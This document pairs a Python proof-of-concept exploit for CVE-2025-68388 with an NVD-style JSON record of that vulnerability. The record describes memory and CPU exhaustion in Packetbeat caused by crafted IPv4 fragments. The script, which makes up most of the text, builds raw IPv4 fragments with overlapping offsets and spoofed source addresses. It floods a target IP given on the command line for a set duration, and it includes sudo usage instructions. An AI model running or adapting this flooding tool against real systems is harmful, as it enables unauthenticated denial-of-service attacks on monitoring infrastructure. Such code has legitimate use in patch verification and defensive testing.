CVE-2025-68388

# CVE-2025-68388 PoC - Malicious IPv4 Fragment Flooding # This PoC demonstrates the resource exhaustion attack against Packetbeat # by sending crafted IPv4 fragments with overlapping offsets import socket import struct import random import time def ip_checksum(header): """Calculate IP header checksum""" if len(header) % 2 == 1: header += b'\x00' checksum = 0 for i in range(0, len(header), 2): w = (header[i] << 8) + header[i+1] checksum += w checksum = (checksum >> 16) + (checksum & 0xffff) checksum += checksum >> 16 return ~checksum & 0xffff def create_ipv4_fragment(src_ip, dst_ip, identification, fragment_offset, more_fragments, payload): """Create a single IPv4 fragment packet""" version_ihl = (4 << 4) | 5 # IPv4, header length 5 (20 bytes) tos = 0 total_length = 20 + len(payload) ttl = 64 protocol = 6 # TCP # IP header without checksum header = struct.pack('!BBHHHBBH4s4s', version_ihl, tos, total_length, identification, # Identification (fragment_offset << 13) | (more_fragments << 12), # Flags + Fragment offset ttl, protocol, 0, # Protocol and checksum placeholder socket.inet_aton(src_ip), socket.inet_aton(dst_ip)) checksum = ip_checksum(header) header = header[:10] + struct.pack('!H', checksum) + header[12:] return header + payload def exploit_cve_2025_68388(target_ip, target_port=9200, duration=60): """ Exploit CVE-2025-68388 by sending malicious IPv4 fragments to cause resource exhaustion in Packetbeat """ src_ip = f"192.168.{random.randint(1,254)}.{random.randint(1,254)}" identification = random.randint(1, 65535) print(f"[*] Starting CVE-2025-68388 exploit against {target_ip}") print(f"[*] Sending malicious IPv4 fragments for {duration} seconds...") start_time = time.time() packet_count = 0 try: sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) while time.time() - start_time < duration: # Create fragments with overlapping offsets to trigger reassembly issues for offset in [0, 100, 50, 150, 25]: # Craft malicious payload designed to exhaust resources payload = bytes([random.randint(0, 255) for _ in range(100)]) packet = create_ipv4_fragment( src_ip, target_ip, identification + packet_count, offset, # Overlapping fragment offsets 1, # More fragments flag payload ) try: sock.sendto(packet, (target_ip, 0)) packet_count += 1 except Exception as e: print(f"[!] Send error: {e}") time.sleep(0.01) # Small delay between fragment sets if packet_count % 1000 == 0: print(f"[*] Sent {packet_count} fragment packets...") except PermissionError: print("[!] This exploit requires root/sudo privileges") print("[!] Run: sudo python3 cve_2025_68388_poc.py") except Exception as e: print(f"[!] Error: {e}") finally: print(f"[*] Exploit completed. Sent {packet_count} packets in {duration} seconds") print(f"[*] Target Packetbeat should experience resource exhaustion") if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] exploit_cve_2025_68388(target) else: print("Usage: sudo python3 cve_2025_68388_poc.py <target_ip>") print("Example: sudo python3 cve_2025_68388_poc.py 192.168.1.100")

{"cve": {"id": "CVE-2025-68388", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:02.683", "lastModified": "2025-12-23T17:43:47.567", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of resources without limits or throttling (CWE-770) allows an unauthenticated remote attacker to cause excessive allocation (CAPEC-130) of memory and CPU via the integration of malicious IPv4 fragments, leading to a degradation in Packetbeat."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.6.0", "versionEndExcluding": "8.19.9", "matchCriteriaId": "FE1B8D89-6838-4BB0-9E8F-5770F3D896A0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.1.9", "matchCriteriaId": "D24C565F-FB26-4D8D-9963-58E77B7F7557"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elasticsearch:packetbeat:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndExcluding": "9.2.3", "matchCriteriaId": "7BFB3597-387F-439B-8AE2-AA97239DAE49"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/packetbeat-8-19-9-9-1-9-and-9-2-3-security-update-esa-2025-29/384177", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}